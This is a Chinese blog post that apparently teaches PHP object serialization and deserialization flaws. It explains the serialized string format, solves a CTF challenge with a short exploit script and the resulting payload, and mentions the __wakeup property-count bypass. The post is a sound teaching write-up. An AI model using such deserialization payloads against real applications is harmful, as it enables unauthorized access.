PHP之序列化与反序列化(基础篇)

可利用的序列化与反序列化是在php中常见的一种漏洞,那为什么会出现序列化与反序列化漏洞呢?这就和php魔术方法有关系了,如果有还对魔术方法不太明白的可以看我上一篇文章PHP之魔术方法_errorr0的博客-CSDN博客

既然序列化有风险那为什么要用呢?这就要谈序列化与反序列化的好处了,序列化是将变量转换为可保存或传输的字符串的过程;反序列化就是在适当的时候把这个字符串再转化成原来的变量使用。这两个过程结合起来,可以轻松地存储和传输数据,使程序更具维护性。简单来说就是将一大段对象压缩成字符串还不能说明其好处吗?只因为是字符串,所以容易被利用,这里想要说一下Java,Java的序列化得到的就是数据流打印出来是一串乱码,这就相对php安全许多,虽然也能被利用。当然,Java序列化与反序列化漏洞以后再写。

一、序列化与反序列化

序列化(serialize)

------将一个对象转换为一个字符串的字节序列储存(即实例)

"O:6:"People":3:{s:4:"name";s:7:"errorr0";s:3:"age";s:2:"20";s:3:"sex";s:1:"M";}"

可以看到,当序列化以后输出的结果是一串字符。

O   表示object,一个对象

6 "People"   表示对象名长度为6,名为"People"

3 表示有3个属性

s 为"string"类型

4 为属性名name的长度

7 为属性值erorr0的长度

后面的内容以此类推,一个类的属性的结尾是以匹配  ;}  分号大括号结束一串序列化字符,这个小tips以后会用的上。(先了解了解)

反序列化(unserialize)

------将字符串(实例)转为对象的过程

 一张图说明了一切,应该不许要多解释了,和序列化就是你推我,我推你的过程。

二、利用序列化和反序列化

既然知道了序列化和反序列化是什么,那么该怎么利用呢?这里就不卖关子了,直接解释。

当实例转为对象时会触发魔术方法,直接调用执行,所以当我们将一个恶意代码进行序列化后,再进行反序列化就会直接触发执行恶意代码。光说无益,直接搞题。

1、ez_unserialize

这是去年我所在团队的招新题,很简单的一个反序列化

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

可以看到flag在__destruct()的if条件中,而if中需要admin、password为条件的值。注意,这里是反序列化一个实例,所以我们的思路就是构造一个exp实例化一个对象在exp中做手脚,再将其传入至目的GET中将其反序列化变成对象。OK,直接开搞

<?php
class wllm{

    public $admin;
    public $passwd;

}

$hack = new wllm();
$hack->admin = "admin";
$hack->passwd = "ctf";
var_dump(serialize($hack));

?>

非常简单的exp,说说为什么。首先,new了一个wllm()对象,调用一次__construct()使得admin与passwd的值为"user"和"123456",然后再进行一次赋值覆盖后使得admin与passwd达到我们的目的再将其序列化得到了

"O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}"

最后丢到题目取运行,可以得到

 总结:序列化与反序列化难点在于构造exp,找关系,最后得到序列化后的字符串。

顺便提一点,有可能会碰到__wakeup()的阻碍,__wakeup()中是一个die()或者替换变量值等等,那就需要绕过,而绕过的方法很简单,只需要将实例化后的对象属性修改为大于其原本的属性数

 这就是属性数。

参考:PHP序列化和反序列化漏洞简单介绍 - 菜包胖嘟嘟 - 博客园

  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

errorr0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值